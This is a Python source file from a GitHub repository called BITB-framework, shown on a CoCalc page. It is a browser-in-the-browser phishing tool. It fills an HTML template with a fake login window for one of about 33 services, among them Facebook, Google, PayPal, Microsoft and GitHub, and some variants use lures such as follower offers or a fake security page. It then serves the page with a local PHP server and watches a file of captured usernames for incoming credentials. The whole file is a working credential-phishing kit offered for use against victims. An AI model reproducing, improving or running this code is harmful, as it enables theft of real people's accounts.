Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
surya-dev-singh
GitHub Repository: surya-dev-singh/BITB-framwork
Path: blob/main/bitb.py
500 views
1
import os
2
import re
3
import time
4
from termcolor import colored as cl
5
banner="""
6
, ,
7
/ \\
8
((__-^^-,-^^-__))
9
`-_---' `---_-'
10
<__|o` 'o|__>
11
\ ` /
12
): :(
13
:o_o: **BITB-Framework**
14
"-" @Surya Dev Singh
15
"""
16
print(cl(banner,"green"))
17
print(" ")
18
def open_server(path,title,webname):
19
main_path = "sites/"+path+"/index.php"
20
domain=path.capitalize()
21
favicon=f'https://www.google.com/s2/favicons?domain=https://{path}.com'
22
with open(r'main.html','r') as file :
23
data = file.read()
24
data = data.replace("XX-TITLE-XX",title).replace("XX-DOMAIN-NAME-XX",webname).replace("XX-PHISHING-LINK-XX",main_path).replace("XX-LOGO-XX",f"{favicon}").replace("Click me",f"<img src={favicon} style='position:relative;top:2px'></img>&nbsp;&nbsp;<b style='position:relative;bottom:2px'>Login With {domain}</b>")
25
with open(r'index.html','w') as file :
26
file.write(data)
27
print("""Phishing Method :
28
29
01 -> localhost
30
""")
31
method_s = input(cl("Enter Value ▶ ","yellow"))
32
print()
33
if method_s == '01' or method_s == '1' :
34
os.system("php -S 0.0.0.0:8080 -q &")
35
time.sleep(3)
36
print()
37
print(cl("[+]","green"), "waiting for credential ....")
38
print()
39
os.system("tail -f sites/userpass/usernames.txt")
40
41
def pages(m_input):
42
43
if m_input == '01' or m_input == '1':
44
print("""Facebook :
45
01 -> Traditional Login Page
46
02 -> Advanced Voting Poll Login Page
47
03 -> Fake Security Login Page
48
04 -> Facebook Messenger Login Page
49
""")
50
fb_input = input(cl("Select Facebook Page ▶ ","yellow"))
51
if fb_input == '01' or fb_input == '1':
52
open_server("facebook","Facebook","https://www.facebook.com/login")
53
elif fb_input == '02' or fb_input == '2':
54
open_server("fb_advanced","Facebook","https://www.facebook.com/advanced/login")
55
elif fb_input == '03' or fb_input == '3':
56
open_server("fb_security","Facebook","https://www.facebook.com/security/login")
57
elif fb_input == '04' or fb_input == '4':
58
open_server("fb_messenger","Facebook","https://www.facebook.com/login")
59
else :
60
print("Enter the valid value")
61
pages('1')
62
63
elif m_input == '02' or m_input == '2':
64
print("""Instagram :
65
01 -> Traditional Login Page
66
02 -> Auto Followers Login Page
67
03 -> 1000 Followers Login Page
68
04 -> Blue Badge Verify Login Page
69
""")
70
insta_input = input(cl("Select Instagram Page ▶ ","yellow"))
71
if insta_input == '01' or insta_input == '1':
72
open_server("instagram","Instagram","https://www.instagram.com/accounts/login")
73
elif insta_input == '02' or insta_input == '2':
74
open_server("ig_followers","Instagra","https://igfollower.net/girisyap")
75
elif insta_input == '03' or insta_input == '3':
76
open_server("insta_followers","Instagram","https://instagramfollowers.com/login")
77
elif insta_input == '04' or insta_input == '4':
78
open_server("ig_verify","Instagram","https://www.instagram.com/accounts/verify")
79
else :
80
print("Enter the valid value")
81
pages(m_input)
82
elif m_input == '03' or m_input == '3':
83
print("""Google/Gmail :
84
01 -> Gmail Old Login Page
85
02 -> Gmail New Login Page
86
03 -> Advanced Voting Poll
87
""")
88
gml_input = input("Select Google/Gmail Page : ")
89
if gml_input == '01' or gml_input == '1':
90
open_server("google","Google","https://www.google.com/login")
91
elif gml_input == '02' or gml_input == '2':
92
open_server("google_new","Google","https://www.google.com/auth/login")
93
elif gml_input == '03' or gml_input == '3':
94
open_server("google_poll","Google","https://www.google.com/votting/login")
95
else :
96
print("Enter the valid value")
97
pages('3')
98
elif m_input == '04' or m_input == '4':
99
open_server("microsoft","Microsoft","https://account.microsoft.com/login")
100
elif m_input == '05' or m_input == '5':
101
open_server("netflix","Netflix","https://www.netflix.com/in/Login")
102
elif m_input == '06' or m_input == '6':
103
open_server("paypal","Paypal","https://www.paypal.com/in/signin")
104
elif m_input == '07' or m_input == '7':
105
open_server("steam","Steam","https://store.steampowered.com/login/")
106
elif m_input == '08' or m_input == '8':
107
open_server("twitter","Twitter","https://twitter.com/i/flow/login")
108
elif m_input == '09' or m_input == '9':
109
open_server("playstation","Playstation","https://www.playstation.com/en-in/")
110
elif m_input == '10':
111
open_server("tiktok","Tiktok","https://www.tiktok.com/login")
112
elif m_input == '11':
113
open_server("twitch","Twitch","https://www.twitch.tv/login")
114
elif m_input == '12':
115
open_server("pinterest","Pinterest","https://in.pinterest.com/login/")
116
elif m_input == '13':
117
open_server("snapchat","Snapchat","https://accounts.snapchat.com/accounts/login")
118
elif m_input == '14':
119
open_server("linkedin","Linkedin","https://www.linkedin.com/login")
120
elif m_input == '15':
121
open_server("ebay","Ebay","https://signin.ebay.com/ws/eBayISAPI.dll")
122
elif m_input == '16':
123
open_server("quora","Quora","https://www.quora.com/")
124
elif m_input == '17':
125
open_server("protonmail","Protonmail","https://mail.protonmail.com/login")
126
elif m_input == '18':
127
open_server("spotify","Spotify","https://accounts.spotify.com/en/login")
128
elif m_input == '19':
129
open_server("reddit","Reddit","https://www.reddit.com/login/")
130
elif m_input == '20':
131
open_server("adobe","Adobe","https://auth.services.adobe.com/en_US/index.html#/")
132
elif m_input == '21':
133
open_server("deviantart","Deviantart","https://www.deviantart.com/users/login")
134
elif m_input == '22':
135
open_server("badoo","Badoo","https://badoo.com/signin")
136
elif m_input == '23':
137
open_server("origin","Origin","https://www.origin.com/login")
138
elif m_input == '24':
139
open_server("dropbox","Dropbox","https://www.dropbox.com/login")
140
elif m_input == '25':
141
open_server("yahoo","Yahoo","https://login.yahoo.com/")
142
elif m_input == '26':
143
open_server("wordpress","Wordpress","https://wordpress.com/log-in")
144
elif m_input == '27':
145
open_server("yandex","Yandex","https://passport.yandex.com/auth")
146
elif m_input == '28':
147
open_server("stackoverflow","Stackoverflow","https://stackoverflow.com/users/login")
148
elif m_input == '29':
149
print("""
150
01 -> Traditional Login Page
151
02 -> Advanced Voting Poll Login Page
152
""")
153
vk_input = input("Select Instagram Page : ")
154
if vk_input == '01' or vk_input == '1':
155
open_server("vk","Vk","https://id.vk.com/auth?app_id=7913379&v=1.44.0&redirect_uri=https%3A%2F%2Fvk.com%2Ffeed&uuid=a9imGGNLIk4OQr1iMP_aB&action=eyJuYW1lIjoibm9fcGFzc3dvcmRfZmxvdyIsInBhcmFtcyI6eyJ0eXBlIjoic2lnbl9pbiJ9fQ%3D%3D")
156
elif vk_input == '02' or vk_input == '2':
157
open_server("vk_poll","Vk","https://id.vk.com/auth?app_id=7913379&v=1.44.0&redirect_uri=https%3A%2F%2Fvk.com%2Ffeed&uuid=a9imGGNLIk4OQr1iMP_aB&action=eyJuYW1lIjoibm9fcGFzc3dvcmRfZmxvdyIsInBhcmFtcyI6eyJ0eXBlIjoic2lnbl9pbiJ9fQ%3D%3D")
158
159
else :
160
print("Enter the valid value")
161
pages('29')
162
elif m_input == '30':
163
open_server("xbox","Xbox","https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https:%2f%2faccount.xbox.com%2fen-in%2faccountcreation%3freturnUrl%3dhttps%253a%252f%252fwww.xbox.com%252fen-IN%252flive%26ru%3dhttps%253a%252f%252fwww.xbox.com%252fen-IN%252flive%26rtc%3d1%26csrf%3dr9QPnukGPmJtqT7_bifZSYFY-Z2js7GJfx09N6bNEXBy14UnlQ5Nn7jS62vnrWl1rJcEutefSeN0nFSZ6IxYWeuTY8s1&lc=16393&id=292543&nopa=2&aadredir=1")
164
elif m_input == '31':
165
open_server("mediafire","Mediafire","https://www.mediafire.com/login")
166
elif m_input == '32':
167
open_server("gitlab","Gitlab","https://gitlab.com/users/sign_in")
168
elif m_input == '33':
169
open_server("github","Github","https://github.com/login")
170
elif m_input == '99':
171
print("Github : https://surya-dev.medium.com/")
172
elif m_input == '00' or m_input == '0':
173
print("Thnak you for using this tool....")
174
exit()
175
else :
176
print("\n--> Enter valid value...\n")
177
print(" ")
178
print(cl("Select An Attack For Your Victim: ","cyan"))
179
print("""
180
01 -> Facebook 11 -> Twitch 21 -> DeviantArt
181
02 -> Instagram 12 -> Pinterest 22 -> Badoo
182
03 -> Google/Gmail 13 -> Snapchat 23 -> Origin
183
04 -> Microsoft 14 -> Linkedin 24 -> DropBox
184
05 -> Netflix 15 -> Ebay 25 -> Yahoo
185
06 -> Paypal 16 -> Quora 26 -> Wordpress
186
07 -> Steam 17 -> Protonmail 27 -> Yandex
187
08 -> Twitter 18 -> Spotify 28 -> StackoverFlow
188
09 -> Playstation 19 -> Reddit 29 -> Vk
189
10 -> Tiktok 20 -> Adobe 30 -> XBOX
190
31 -> Mediafire 32 -> Gitlab 33 -> Github
191
192
99 -> About 00 -> Exit
193
""")
194
195
while True:
196
m_input = input(cl("Enter Value ▶ ","yellow"))
197
if (m_input == '1' or m_input == '2' or m_input == '3' or m_input == '4' or m_input == '5' or
198
m_input == '6' or m_input == '7' or m_input == '8' or m_input == '9' or m_input == '10' or
199
m_input == '11' or m_input == '12' or m_input == '13' or m_input == '14' or m_input == '15' or
200
m_input == '16' or m_input == '17' or m_input == '18' or m_input == '19' or m_input == '20' or
201
m_input == '21' or m_input == '22' or m_input == '23' or m_input == '24' or m_input == '25' or
202
m_input == '26' or m_input == '27' or m_input == '28' or m_input == '29' or m_input == '30' or
203
m_input == '31' or m_input == '32' or m_input == '33' or m_input == '99' or m_input == '00' or
204
m_input == '01' or m_input == '02' or m_input == '03' or m_input == '04' or m_input == '05' or
205
m_input == '06' or m_input == '07' or m_input == '08' or m_input == '09' or m_input == '0') :
206
pages(m_input)
207
break
208
else:
209
print("\n Enter valid value...\n")
210
211